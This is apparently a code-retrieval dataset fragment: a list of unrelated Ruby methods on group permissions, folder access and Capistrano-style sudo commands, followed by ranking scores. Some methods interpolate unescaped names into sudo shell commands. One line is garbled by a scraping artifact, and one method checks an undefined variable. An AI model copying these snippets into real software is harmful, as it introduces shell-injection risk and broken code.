"def permissions_for_user_group(ug)\n sym = Lockdown.get_symbol(ug)\n perm_array = [] \n\n if has_user_group?(sym)\n permissions = user_groups[sym] || []\n else\n if ug.respond_to?(:permissions)\n permissions = ug.permissions\n else\n raise GroupUndefinedError, \"#{ug} not found in init.rb and does not respond to #permissions\"\n end\n end\n\n\n permissions.each do |perm|\n perm_sym = Lockdown.get_symbol(perm)\n\n unless permission_exists?(perm_sym)\n msg = \"Permission associated to User Group is invalid: #{perm}\"\n raise SecurityError, msg\n end\n\n perm_array << perm_sym\n end\n\n perm_array \n end",
"def user_group(name, *permissions)\n return if permissions.empty?\n name = name.to_s\n ug = Lockdown::Configuration.find_or_create_user_group(name)\n\n permissions.each do |name|\n if (perm = Lockdown::Configuration.permission(name))\n ug.permissions << perm unless ug.permissions.include?(perm)\n end\n end\n\n Lockdown::Configuration.maybe_add_user_group(ug)\n end",
"def authorization_required\n return true if admin?\n\n if [email protected]_edit?(logged_in_user)\n flash[:notice] = \"你沒有權限執行這個動作\"\n permission_denied\n @group = nil\n false\n end\n end",
"def effective_permissions\n source = self\n\n while source.inherit && source.forum.parent\n source = source.forum.parent.forum_permissions.find_by(group: group)\n end\n\n source = group if source.inherit\n\n source\n end",
"def set_user_group(name, *perms)\n user_groups[name] ||= []\n perms.each do |perm|\n if permission_assigned_automatically?(perm)\n raise Lockdown::InvalidPermissionAssignment, \"Permission is assigned automatically. Please remove it from #{name} user group\"\n end\n user_groups[name].push(perm)\n end\n end",
"def may(*args)\n p = permissions.for(args.pop).find_or_initialize_by_role_id(id) # need a #find_or_initialize_by_already_specified_scope\n p.mask += Authorize::Permission::Mask[*args]\n p.save\n p.mask.complete\n end",
"def update_group_permissions \n if group_id.present?\n permissions = self.permissions\n # checking if user has permissions or not\n if permissions.present? && self.changed.include?('group_id')\n group_permissions = self.group.permissions\n if group_permissions.present? \n group_permissions.each do |p|\n if p.no_model_permission? \n permission = self.permissions.where(\"no_model_permission = ? AND subject_class = ? AND action = ?\",p.no_model_permission,p.subject_class,p.action).first_or_initialize \n else\n permission = self.permissions.where(\"no_model_permission = ? AND subject_class IS NULL AND action = ?\",p.no_model_permission,p.action).first_or_initialize \n end \n permission.actions_list = (permission.actions_list + p.actions_list).uniq \n permission.status = p.status\n permission.save\n end \n end\n else\n group_permissions = self.group.permissions\n if group_permissions.present?\n columns = (Permission.column_names) - [\"id\",\"resource_id\",\"resource_type\",'created_at','updated_at']\n # Creating all group permissions to user\n self.permissions.create( self.group.permissions.all(:select => columns.join(\",\") ).map(&:attributes) )\n end\n end\n end\n end",
"def do_not_rename_or_destroy_admins_group\n if @group and @group.is_the_administrators_group?\n redirect_to :action => 'list' and return false\n end\n end",
"def group_or_permission(key)\n key = key.to_sym\n @groups[key] || @permissions[key]\n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def directory_group\n res = nil\n Group.role_names_for(user).each do |role_name|\n if Filesystem.test_dir role_name, self, :read\n res = File.stat(path_for(role_name: role_name)).gid\n break if res\n end\n end\n res\n end",
"def hydra_default_permissions(deprecated_user=nil, deprecated_session=nil)\n ActiveSupport::Deprecation.warn(\"No need to pass user or session to hydra_default_permissions, use the instance_variables\", caller()) if deprecated_user || deprecated_session\n logger.debug(\"Usergroups are \" + user_groups.inspect)\n self.ability_logic.each do |method|\n send(method)\n end\n end",
"def overall_permissions(thing)\n global_permissions.merge!(permissions_for(thing))\n end",
"def prepare_permissions\n if current_ability.admin?\n else\n # Need to add admin group to current_ability\n # or presenter will not be accessible.\n current_ability.user_groups << \"admin\"\n if presenter.tombstone.present? \n else\n current_ability.user_groups.delete(\"admin\")\n end\n end\n end",
"def read_groups\n read_group_field = Hydra.config[:permissions][:read][:group]\n rg = edit_groups | ((@permissions_solr_document == nil || @permissions_solr_document.fetch(read_group_field,nil) == nil) ? [] : @permissions_solr_document.fetch(read_group_field,nil))\n logger.debug(\"read_groups: #{rg.inspect}\")\n return rg\n end",
"def groupadd(group)\n # XXX I don't like specifying the path to groupadd - need to sort out paths before long\n send(run_method, \"grep '#{group}:' /etc/group || sudo /usr/sbin/groupadd #{group}\")\n end",
"def set_viewing_group\n @viewing_group = @pcp_subject.viewing_group_map( current_user )\n render_no_permission if @viewing_group == 0 \n end",
"def reset_permissions_for(item)\n item.edit_groups = []\n item.edit_users = []\n item.read_groups = []\n item.read_users = []\n end",
"def custom_permissions\n if admin?\n can [:confirm_delete], ActiveFedora::Base\n can [:allow_downloads, :prevent_downloads], AdminSet\n\n can :manage, Spotlight::HomePage\n can :manage, Spotlight::Exhibit\n end\n\n can :read, Spotlight::HomePage\n can :read, Spotlight::Exhibit\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def edit_groups\n search_by_type_and_mode(:group, ::ACL.Write).map(&:agent_name)\n end",
"def authorize_read_group!\n unless @group and (@projects.present? or can?(current_user, :read_group, @group))\n if current_user.nil?\n return authenticate_user!\n else\n return render_404\n end\n end\n end",
"def grant_role_assignments_to_group_members_if_needed\n if entity.type == 'Group'\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n # Tell trigger_sync! to ignore any requests it receives - we'll just put in one\n # sync request after all the new RoleAssignments exist.\n Thread.current[:will_sync_role] = [] unless Thread.current[:will_sync_role]\n Thread.current[:will_sync_role] << role.id\n \n entity.members.each do |m|\n logger.info \"Granting role (#{role.id}, #{role.token}, #{role.application.name}) just granted to group (#{entity.id}/#{entity.name}) to its member (#{m.id}/#{m.name})\"\n ra = RoleAssignment.new\n ra.role_id = role.id\n ra.entity_id = m.id\n ra.parent_id = entity.id\n if ra.save == false\n logger.error \" -- Could not grant role!\"\n end\n end\n \n Thread.current[:will_sync_role].delete(role.id)\n role.trigger_sync!\n end\n end\n end",
"def copy_permissions_to_new_folder(folder)\r\n # get the 'parent' GroupPermissions\r\n GroupPermission.find_all_by_folder_id(folder_id).each do |parent_group_permissions|\r\n # create the new GroupPermissions\r\n group_permissions = GroupPermission.new\r\n group_permissions.folder = folder\r\n group_permissions.group = parent_group_permissions.group\r\n group_permissions.can_create = parent_group_permissions.can_create\r\n group_permissions.can_read = parent_group_permissions.can_read\r\n group_permissions.can_update = parent_group_permissions.can_update\r\n group_permissions.can_delete = parent_group_permissions.can_delete\r\n group_permissions.save\r\n end\r\n end",
"def set_group_repo_permission\n @group_repo_permission = GroupRepoPermission.find(params[:id])\n end",
"def require_delete_permission\n unless @folder.is_root? || current_user.can_delete(@folder)\n redirect_to @folder.parent, :alert => t(:no_permissions_for_this_type, :method => t(:delete), :type =>t(:this_folder))\n else\n require_delete_permissions_for(@folder.children)\n end\n end",
"def update\n @user_group = UserGroup.find_by_id(params[:id])\n permission_ids = params[\"permissions\"] || []\n permission_ids.map! {|p| p.to_i}\n current_permission_ids = @user_group.permission_ids\n group_name = params[\"user_group\"][\"name\"]\n\n existed_group = UserGroup.where(:name =>group_name)\n if existed_group.empty? || existed_group.first.id == params[:id].to_i\n if @user_group.update_attributes(params[\"user_group\"])\n\n # The update action make log saved or not\n is_logged = !@user_group.previous_changes.blank?\n if current_permission_ids != permission_ids\n @user_group.permission_ids = permission_ids\n\n # Create log if not logged before\n @user_group.create_activity :update, owner: current_user, params: {:detail => I18n.t('logs.update_group', group_name: @user_group.name)} if !is_logged\n end\n redirect_to organization_user_groups_path(params[:organization_id])\n end\n else\n flash[:error] = t('user_group.exist')\n redirect_to edit_organization_user_group_path(params[:organization_id],@user_group)\n end\n end",
"def group=(new_group)\n if @group != new_group\n @dacl.reassign!(@group, new_group)\n @group = new_group\n end\n end",
"def set_perms_files(dir_path, perm = 644)\n try_sudo \"find #{dir_path} -type f -exec chmod #{perm} {} \\\\;\"\nend",
"def all_permissions\n array = []\n @permissions.each { |_, permission| array << permission }\n @groups.each do |_, group|\n group.all_permissions.each do |permission|\n array << permission\n end\n end\n array\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def add_user_to_group(user, group)\n send(run_method, \"groups #{user} | grep ' #{group} ' || sudo /usr/sbin/usermod -G #{group} -a #{user}\")\n end",
"def may_read_groups?\n\t\t\tmay_administrate?\n\t\tend",
"def permissions_for_deploy(aUser=nil,aGroup=nil,aPath=nil)\n\t\taUser ||= user\n\t\taGroup ||= apache_user\n\t\taPath ||= deploy_to\n\t\trun \"#{sudo} chown -R #{aUser}:#{aGroup} #{MiscUtils.append_slash(aPath)}\"\n\t\trun \"#{sudo} chmod u+rw #{MiscUtils.append_slash(aPath)}\"\n\t\trun_for_all(\"chmod u+x\",aPath,:dirs)\t\t\n\tend",
"def index\n\t\t# si rol mayor a desarrollador, listar todos los grupos \n \tif has_role_with_hierarchy?(:administrador) \n\t\t\t@groups = Group.all\n\t\t# si rol es desarrollador, listar solo sus grupos\n\t\telse\n\t\t\t@groups = Group.all :conditions => { :user_id, current_user.id }\n\t\tend\n end",
"def modify_image_launch_perm_add_groups(image_id, user_group=['all'])\n modify_image_attribute(image_id, 'launchPermission', 'add', :user_group => user_group.to_a)\n end",
"def show\n\t\t@all_permissions = Lockdown::System.permissions_assignable_for_user(current_user)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_group }\n end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\nif current_user.admin?\n\t can [:create, :show, :add_user, :remove_user, :index], Role\n\t end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n\n\n end",
"def group=(group)\n debug \"#{self.artifactid}: Changing group to '#{self.artifactGroup}'.\"\n begin\n File.chown(nil,Etc.getgrnam(self.group).gid,self.artifact)\n rescue => detail\n raise Puppet::Error, \"Failed to set group to '#{self.group}': #{detail}\"\n end\n end",
"def makePriv #:doc:\n if params[:i_am_client] and params[:groups] == nil\n # Groups were searched in editRights-method\n param_groups = @groups\n else\n param_groups = params[:groups]\n end\n \n # try to get file from database\n if not fetchFile\n if params[:i_am_client] \n render :text => \"File not found\", :status => 404\n return\n else\n @error = \"File not found!\"\n render \"viewFileRights\"\n return\n end\n end\n \n begin \n # all groups owned by user\n mygroups = Group.find(:all, :conditions => [\"user_id = ?\", @user.id])\n \n # all groups associated with the file\n filegroup_ids = Array.new\n @file.groups.find(:all).each do |t|\n filegroup_ids.push(t.id)\n end\n \n # check which groups should have access to file\n delete_auth_groups = \"\"\n mygroups.each do |mygroup|\n if param_groups[mygroup.name] == \"1\" and not filegroup_ids.include?(mygroup.id)\n # if group-checkbox is checked, group gets permission to access file\n @file.devfile_auth_groups.create(:group_id => mygroup.id)\n elsif param_groups[mygroup.name] == \"0\" and filegroup_ids.include?(mygroup.id)\n # if group-checkbox is not checked, unauthorize fileaccess to this file\n if delete_auth_groups == \"\" then delete_auth_groups += \"group_id IN (#{mygroup.id}\"\n else delete_auth_groups += \", #{mygroup.id}\" end\n end\n end\n if delete_auth_groups != \"\"\n delete_auth_groups += \") AND devfile_id = ?\"\n DevfileAuthGroup.delete_all([delete_auth_groups, @file.id])\n end\n \n # make file private\n @file.update_attribute(:privatefile, true)\n \n rescue => e\n puts \"Error in editing filerights: \" + e\n if params[:i_am_client] \n render :text => \"Error in editing filerights: \" + e, :status => 409\n return\n else\n @error = \"Error in editing filerights: \" + e\n render \"Error in editing filerights: \" + e\n return\n end\n end\n \n if params[:i_am_client]\n render :text => \"#{@file.name} visibility modified.\", :status => 200\n return\n else\n flash[:notice] = \"#{@file.name} visibility modified.\"\n redirect_to :action => \"viewFileRights\"\n end\n end",
"def read_allowed?(user)\n return true unless self.group_restrictions.any? || (user.nil? && self.categories.detect { |c| !c.public })\n return false unless user\n group_restrictions.each do |r|\n unless user.group_memberships.find_by_usergroup_id(r.usergroup.id).nil? \n logger.info(\"\\n**** GRANT ACCESS TO GROUP #{r.usergroup.name}\")\n return true\n end\n end\n return false\n end",
"def modify_snapshot_attribute_create_volume_permission_add_groups(snapshot_id, *user_group)\n user_group.flatten!\n user_group = ['all'] if user_group.right_blank?\n modify_snapshot_attribute(snapshot_id, 'createVolumePermission', 'add', :user_group => user_group )\n end",
"def everyone(read, write)\n apply(PUBLIC, read, write)\n permissions[PUBLIC]\n end",
"def may_read_group_memberships?(group)\n\t\t\tmay_administrate? || is_group_reader?(group)\n\t\tend",
"def group_required\n required_group = Group.find_or_create_by(:name => \"Admin\")\n unless current_user.groups.is_member?(required_group)\n flash[:error] = \"The function you wish to use is only available to admin users\"\n redirect_to root_path\n end\n end",
"def index\n authorize! :see, Group\n @groups = Group.all\n end",
"def permissions = {}",
"def set_groups(user, grouplist)\n\t\t\tend",
"def scp_set_folder_perms(remote_folder)\n # set proper permissions for remote host (allowing for client override)\n puts(\" -> setting remote ownership on host #{server_ip} folder #{remote_folder}\") if is_verbose or is_dryrun\n $stdout.flush\n output, exit_code1 = ssh_exec(\"chown -R #{ssh_owner_ug} #{remote_folder}\")\n puts(\"ERR: #{output}\") unless exit_code == 0\n\n output, exit_code2 = ssh_exec(\"chmod -R #{ssh_ugw_perm} #{remote_folder}\")\n puts(\"ERR: #{output}\") unless exit_code == 0\n (exit_code1 == 0) and (exit_code2 == 0)\n end",
"def list_groups\n if @user.permission_level.value == PermissionLevel.order(\"value DESC\").first.value\n render :json => Group.find(:all).map{|g| g}\n else\n render :json => @user.groups.map{|g| g}\n end\n end",
"def group_params\n params.require(:group).permit(*Group.permissions(current_user))\n end",
"def can_create?(folder_id)\n administrator? or\n permissions.for_create.exists? :folder_id => folder_id\n end",
"def create\n @user_group = UserGroup.new(params[\"user_group\"])\n permission_ids = params[\"permissions\"]\n org_id = params[:organization_id]\n @user_group.permission_ids = permission_ids\n @user_group.organization_id = org_id\n\n if @user_group.save\n redirect_to organization_user_groups_path\n else\n flash[:error] = t('user_group.exist')\n @permissions = Permission.get_hash_group_permission\n render :new\n end\n\n end",
"def require_member_of_group_if_private\n if !current_group.public\n require_member_of_group\n end\n end",
"def check_or_create_group_ips_dirs\n @config[:groups].each do |key, value|\n if value[:enable]\n change_dir(@working_directory+value[:name])\n begin\n unless value[:ips] == nil\n value[:ips].each do |ip|\n Dir.mkdir(ip.gsub(/[.]/, '-')) unless Dir.exists?(ip.gsub(/[.]/, '-'))\n end\n end\n rescue Exception => error\n change_dir(@working_directory)\n Loggers::Main.log.warn error.message\n exit 6\n end\n end\n end\n change_dir(@working_directory)\n end",
"def group_writable?(mode)\n mode & 00020 == 00020\n end",
"def all_permissions\n return permissions unless role\n (permissions + role.permissions).uniq\n end",
"def set_permissions\n self.permissions ||= \"guest\"\n end",
"def set_permissions_on_release_dir(dir)\n\t# Deny web server access to everything except for a few things.\n\tsh \"deny #{WWW_USER} #{dir}\"\n\t\n\t# Executable access to the directory itself\n\t# so that the web server can access subdirectories.\n\tsh \"setfacl -m user:#{WWW_USER}:--x #{dir}\"\n\t\n\t# Read-only access to the 'public' directory so that\n\t# the web server can serve static assets.\n\tif File.directory?(\"#{dir}/public\")\n\t\tsh \"permit #{WWW_USER} #{dir}/public\"\n\tend\n\t\n\t# Executable access to the 'config' directory so that\n\t# Phusion Passenger's app autodetection works.\n\tif File.directory?(\"#{dir}/config\")\n\t\tsh \"setfacl -m user:#{WWW_USER}:--x #{dir}/config\"\n\tend\nend",
"def add_group_as_admin(group)\n add_group_as_member group\n promote_in_group group\n end"
] | [
"0.6821695",
"0.67130405",
"0.657511",
"0.64386684",
"0.6430437",
"0.6218378",
"0.61804175",
"0.61694455",
"0.61454076",
"0.6142309",
"0.6113165",
"0.60897017",
"0.6087991",
"0.6047705",
"0.6013864",
"0.5988046",
"0.5961569",
"0.593958",
"0.592791",
"0.59166545",
"0.59166545",
"0.5911786",
"0.5896118",
"0.58585876",
"0.5852432",
"0.5837737",
"0.58300525",
"0.58247024",
"0.58127236",
"0.5778478",
"0.5771348",
"0.57637125",
"0.57537955",
"0.57446456",
"0.5717316",
"0.5709394",
"0.5700135",
"0.5688304",
"0.56803346",
"0.567435",
"0.5663224",
"0.56503975",
"0.56379163",
"0.5635138",
"0.56309754",
"0.5626933",
"0.5604567",
"0.5593399",
"0.5579444",
"0.55742675",
"0.55653363",
"0.55311704",
"0.5528535",
"0.55234486",
"0.55177987",
"0.55067724",
"0.55023915",
"0.5493947",
"0.54934585",
"0.54836506",
"0.5476909",
"0.5473542",
"0.5470919",
"0.5463162",
"0.5459465",
"0.5445493",
"0.5443324",
"0.54390025",
"0.5436329",
"0.54354453",
"0.54293054",
"0.5417157",
"0.54104805",
"0.5407699",
"0.54076815",
"0.5396189",
"0.5386943",
"0.53805697",
"0.5380371",
"0.5376814",
"0.5373195",
"0.53599274",
"0.53597647",
"0.5342183",
"0.5341649",
"0.5323123",
"0.53180563",
"0.5311737",
"0.5310984",
"0.5310947",
"0.53102493",
"0.5305024",
"0.5296593",
"0.52931863",
"0.5291518",
"0.52890944",
"0.5288972",
"0.52871656",
"0.52765065",
"0.5273629"
] | 0.72214156 | 0 |
Add the given group and folder to GroupPermissions and (dis)allow everything | def add_to_group_permissions(group, folder, permission_to_everything)
group_permission = GroupPermission.new
group_permission.folder = folder
group_permission.group = group
group_permission.can_create = permission_to_everything
group_permission.can_read = permission_to_everything
group_permission.can_update = permission_to_everything
group_permission.can_delete = permission_to_everything
group_permission.save
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_group_permission(g)\n\t\t\n\tend",
"def give_permissions_to_folders(group, permission_to_everything)\n Folder.find(:all).each do |folder|\n add_to_group_permissions(group, folder, permission_to_everything)\n end\n end",
"def chg_permission(groups, arg, mode)\n arg = UserGroup.one_user(arg) if arg.is_a?(User)\n if (mode == :add) &&\n groups.exclude?(arg)\n groups.push(arg)\n elsif (mode == :remove) &&\n groups.include?(arg)\n groups.delete(arg)\n end\n end",
"def create\n if request.post?\n @group = Group.new(params[:group])\n\n if @group.save\n # give the new group permissions to the folders\n give_permissions_to_folders(@group, params[:permission_to_everything][:checked] == 'yes' ? true : false)\n\n redirect_to :action => 'list'\n else\n render :action => 'new'\n end\n end\n end",
"def folder_permissions_groups_only\n @attributes[:folder_permissions_groups_only]\n end",
"def set_perms(data)\n permission = data[:permission] || 2 \n result = @client.api_request(\n :method => \"usergroup.massAdd\", \n :params => {\n :usrgrpids => [data[:usrgrpid]],\n :rights => data[:hostgroupids].map { |t| {:permission => permission, :id => t} }\n }\n )\n result ? result['usrgrpids'][0].to_i : nil\n end",
"def add_permission group, acl\n modify_permission(group, acl) { |perm|\n [perm.acl.to_s.split(\"\"), acl.split(\"\")].flatten.map(&:strip).\n uniq.sort.join\n }\n end",
"def update_group_permissions(folder_id_param, group_check_box_list, field, recursively)\r\n # iteratively update the GroupPermissions\r\n group_check_box_list.each do |group_id, can_do_it|\r\n # get the GroupPermissions\r\n group_permission = GroupPermission.find_by_group_id_and_folder_id(group_id, folder_id_param)\r\n\r\n # Do the actual update if the GroupPermission exists;\r\n # do not update the permissions of the admins group\r\n # (it should always be able to do everything)\r\n unless group_permission.blank? or group_permission.group.is_the_administrators_group?\r\n case field\r\n when 'create':\r\n group_permission.can_create = can_do_it\r\n when 'read':\r\n group_permission.can_read = can_do_it\r\n when 'update':\r\n group_permission.can_update = can_do_it\r\n when 'delete':\r\n group_permission.can_delete = can_do_it\r\n end\r\n group_permission.save\r\n end\r\n end\r\n\r\n # The recursive part...\r\n if recursively\r\n # Update the child folders\r\n folder = Folder.find_by_id(folder_id_param)\r\n if folder\r\n folder.children.each do |child_folder|\r\n update_group_permissions(child_folder.id, group_check_box_list, field, true)\r\n end\r\n end\r\n end\r\n end",
"def update_permissions\r\n if request.post? and @logged_in_user.is_admin?\r\n # update the create, read, update, delete right for this folder:\r\n update_group_permissions(folder_id, params[:create_check_box], 'create', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n update_group_permissions(folder_id, params[:read_check_box], 'read', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n update_group_permissions(folder_id, params[:update_check_box], 'update', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n update_group_permissions(folder_id, params[:delete_check_box], 'delete', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n end\r\n\r\n # Return to the folder\r\n redirect_to :action => 'list', :id => folder_id\r\n end",
"def copy_permissions_to_new_folder(folder)\r\n # get the 'parent' GroupPermissions\r\n GroupPermission.find_all_by_folder_id(folder_id).each do |parent_group_permissions|\r\n # create the new GroupPermissions\r\n group_permissions = GroupPermission.new\r\n group_permissions.folder = folder\r\n group_permissions.group = parent_group_permissions.group\r\n group_permissions.can_create = parent_group_permissions.can_create\r\n group_permissions.can_read = parent_group_permissions.can_read\r\n group_permissions.can_update = parent_group_permissions.can_update\r\n group_permissions.can_delete = parent_group_permissions.can_delete\r\n group_permissions.save\r\n end\r\n end",
"def modify_image_launch_perm_add_groups(image_id, user_group=['all'])\n modify_image_attribute(image_id, 'launchPermission', 'add', :user_group => user_group.to_a)\n end",
"def user_group(name, *permissions)\n return if permissions.empty?\n name = name.to_s\n ug = Lockdown::Configuration.find_or_create_user_group(name)\n\n permissions.each do |name|\n if (perm = Lockdown::Configuration.permission(name))\n ug.permissions << perm unless ug.permissions.include?(perm)\n end\n end\n\n Lockdown::Configuration.maybe_add_user_group(ug)\n end",
"def update\n @user_group = UserGroup.find_by_id(params[:id])\n permission_ids = params[\"permissions\"] || []\n permission_ids.map! {|p| p.to_i}\n current_permission_ids = @user_group.permission_ids\n group_name = params[\"user_group\"][\"name\"]\n\n existed_group = UserGroup.where(:name =>group_name)\n if existed_group.empty? || existed_group.first.id == params[:id].to_i\n if @user_group.update_attributes(params[\"user_group\"])\n\n # The update action make log saved or not\n is_logged = !@user_group.previous_changes.blank?\n if current_permission_ids != permission_ids\n @user_group.permission_ids = permission_ids\n\n # Create log if not logged before\n @user_group.create_activity :update, owner: current_user, params: {:detail => I18n.t('logs.update_group', group_name: @user_group.name)} if !is_logged\n end\n redirect_to organization_user_groups_path(params[:organization_id])\n end\n else\n flash[:error] = t('user_group.exist')\n redirect_to edit_organization_user_group_path(params[:organization_id],@user_group)\n end\n end",
"def add_group(key)\n key = key.to_sym\n if group_or_permission(key).nil?\n @groups[key] = PermissionGroup.new(@schema, self, key)\n else\n raise Error, \"Group or permission with key of #{key} already exists\"\n end\n end",
"def update_group_permissions \n if group_id.present?\n permissions = self.permissions\n # checking if user has permissions or not\n if permissions.present? && self.changed.include?('group_id')\n group_permissions = self.group.permissions\n if group_permissions.present? \n group_permissions.each do |p|\n if p.no_model_permission? \n permission = self.permissions.where(\"no_model_permission = ? AND subject_class = ? AND action = ?\",p.no_model_permission,p.subject_class,p.action).first_or_initialize \n else\n permission = self.permissions.where(\"no_model_permission = ? AND subject_class IS NULL AND action = ?\",p.no_model_permission,p.action).first_or_initialize \n end \n permission.actions_list = (permission.actions_list + p.actions_list).uniq \n permission.status = p.status\n permission.save\n end \n end\n else\n group_permissions = self.group.permissions\n if group_permissions.present?\n columns = (Permission.column_names) - [\"id\",\"resource_id\",\"resource_type\",'created_at','updated_at']\n # Creating all group permissions to user\n self.permissions.create( self.group.permissions.all(:select => columns.join(\",\") ).map(&:attributes) )\n end\n end\n end\n end",
"def may_not(*args)\n p = permissions.for(args.pop).first\n return Authorize::Permission::Mask[] unless p\n p.mask -= Authorize::Permission::Mask[*args].complete\n p.mask.empty? ? p.destroy : p.save\n p.mask.complete\n end",
"def manage_group\n shell_out!(\"groupmod\", set_options)\n modify_group_members\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n\n if user_groups.include? ['all_project_writers']\n can [:create], PulStore::Base\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end\n\n if user_groups.include? ['lae_project_writers']\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end \n\n if user_groups.include? ['all_project_writers']\n can [:destroy], PulStore::Base\n end\n\n if user_groups.include? ['lae_project_readers', 'all_project_readers' ]\n can [:show], PulStore::Base\n end\n end",
"def can_manage_group?(project, group)\n group.is_child_of?(project)\n end",
"def may(*args)\n p = permissions.for(args.pop).find_or_initialize_by_role_id(id) # need a #find_or_initialize_by_already_specified_scope\n p.mask += Authorize::Permission::Mask[*args]\n p.save\n p.mask.complete\n end",
"def change_group!\n tgt_gid = self.target_group.is_a?(Fixnum) ? self.target_group : Etc.getgrnam(self.target_group).gid\n chown_params = [nil, tgt_gid, self.target]\n\n if(File.symlink?(self.target) && (self.no_follow == 'both' || self.no_follow == 'chown'))\n File.lchown *chown_params\n elsif(self.stat(:ftype) == 'directory' && (self.recursive == 'both' || self.recursive == 'chown'))\n #DOcumenation for FileUtils.chown_R is wrong (at least for Ubuntu 8.1, takes ID as String.)\n chown_params[1] = chown_params[1].to_s\n FileUtils.chown_R *chown_params\n else\n File.chown *chown_params\n end\n rescue NotImplementedError => ex\n WarningShot::PermissionResolver.logger.error(\"lchown is not implemented on this machine, (disable nofollow).\")\n return false\n rescue Exception => ex\n WarningShot::PermissionResolver.logger.error(\"Unable to change group for file: #{self.target}; Exception: #{ex.message}\")\n return false\n end",
"def apply_group_permissions(permission_types, ability = current_ability)\n groups = ability.user_groups\n return [] if groups.empty?\n permission_types.map do |type|\n field = solr_field_for(type, 'group')\n user_groups = type == 'read' ? groups - [::Ability.public_group_name, ::Ability.registered_group_name] : groups\n next if user_groups.empty?\n \"({!terms f=#{field}}#{user_groups.join(',')})\" # parens required to properly OR the clauses together.\n end\n end",
"def add_group_folder_member(folder_id:, group_id:, access_role: 'editor', custom_message: nil, trace: false)\n query_data = \"{\\\"shared_folder_id\\\":\\\"#{folder_id}\\\",\\\"members\\\":[{\\\"member\\\":{\\\".tag\\\":\\\"dropbox_id\\\",\\\"dropbox_id\\\":\\\"#{group_id}\\\"},\\\"access_level\\\":{\\\".tag\\\":\\\"#{access_role}\\\"}}],\\\"custom_message\\\":#{custom_message.nil? ? 'null' : \"\\\"#{custom_message}\\\"\"},\\\"quiet\\\":true}\"\n\n dropbox_query(query: '2/sharing/add_folder_member', query_data: query_data, trace: trace)\n end",
"def custom_permissions\n if user_groups.include?(\"admin\")\n can :manage, :all\n end\n end",
"def add_group_as_admin(group)\n add_group_as_member group\n promote_in_group group\n end",
"def groupadd(group)\n # XXX I don't like specifying the path to groupadd - need to sort out paths before long\n send(run_method, \"grep '#{group}:' /etc/group || sudo /usr/sbin/groupadd #{group}\")\n end",
"def set_user_group(name, *perms)\n user_groups[name] ||= []\n perms.each do |perm|\n if permission_assigned_automatically?(perm)\n raise Lockdown::InvalidPermissionAssignment, \"Permission is assigned automatically. Please remove it from #{name} user group\"\n end\n user_groups[name].push(perm)\n end\n end",
"def add_group(group, gid=nil)\n\t\t\tend",
"def add_group!( group )\n save if add_group( group )\n end",
"def grant_role_assignments_to_group_members_if_needed\n return unless entity.type == 'Group'\n\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n entity.members.each do |m|\n logger.info \"Granting role (#{role.id}, #{role.token}, #{role.application.name}) just granted to group (#{entity.id}/#{entity.name}) to its member (#{m.id}/#{m.name})\"\n ra = RoleAssignment.new\n ra.role_id = role.id\n ra.entity_id = m.id\n ra.parent_id = id\n ra.save!\n end\n end\n end",
"def makePriv #:doc:\n if params[:i_am_client] and params[:groups] == nil\n # Groups were searched in editRights-method\n param_groups = @groups\n else\n param_groups = params[:groups]\n end\n \n # try to get file from database\n if not fetchFile\n if params[:i_am_client] \n render :text => \"File not found\", :status => 404\n return\n else\n @error = \"File not found!\"\n render \"viewFileRights\"\n return\n end\n end\n \n begin \n # all groups owned by user\n mygroups = Group.find(:all, :conditions => [\"user_id = ?\", @user.id])\n \n # all groups associated with the file\n filegroup_ids = Array.new\n @file.groups.find(:all).each do |t|\n filegroup_ids.push(t.id)\n end\n \n # check which groups should have access to file\n delete_auth_groups = \"\"\n mygroups.each do |mygroup|\n if param_groups[mygroup.name] == \"1\" and not filegroup_ids.include?(mygroup.id)\n # if group-checkbox is checked, group gets permission to access file\n @file.devfile_auth_groups.create(:group_id => mygroup.id)\n elsif param_groups[mygroup.name] == \"0\" and filegroup_ids.include?(mygroup.id)\n # if group-checkbox is not checked, unauthorize fileaccess to this file\n if delete_auth_groups == \"\" then delete_auth_groups += \"group_id IN (#{mygroup.id}\"\n else delete_auth_groups += \", #{mygroup.id}\" end\n end\n end\n if delete_auth_groups != \"\"\n delete_auth_groups += \") AND devfile_id = ?\"\n DevfileAuthGroup.delete_all([delete_auth_groups, @file.id])\n end\n \n # make file private\n @file.update_attribute(:privatefile, true)\n \n rescue => e\n puts \"Error in editing filerights: \" + e\n if params[:i_am_client] \n render :text => \"Error in editing filerights: \" + e, :status => 409\n return\n else\n @error = \"Error in editing filerights: \" + e\n render \"Error in editing filerights: \" + e\n return\n end\n end\n \n if params[:i_am_client]\n render :text => \"#{@file.name} visibility modified.\", :status => 200\n return\n else\n flash[:notice] = \"#{@file.name} visibility modified.\"\n redirect_to :action => \"viewFileRights\"\n end\n end",
"def deny_all_access\n @permissions = 0\n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def authorize_for_group(group, actions=Permissions::View)\n authorize_for_user(nil, group, actions)\n end",
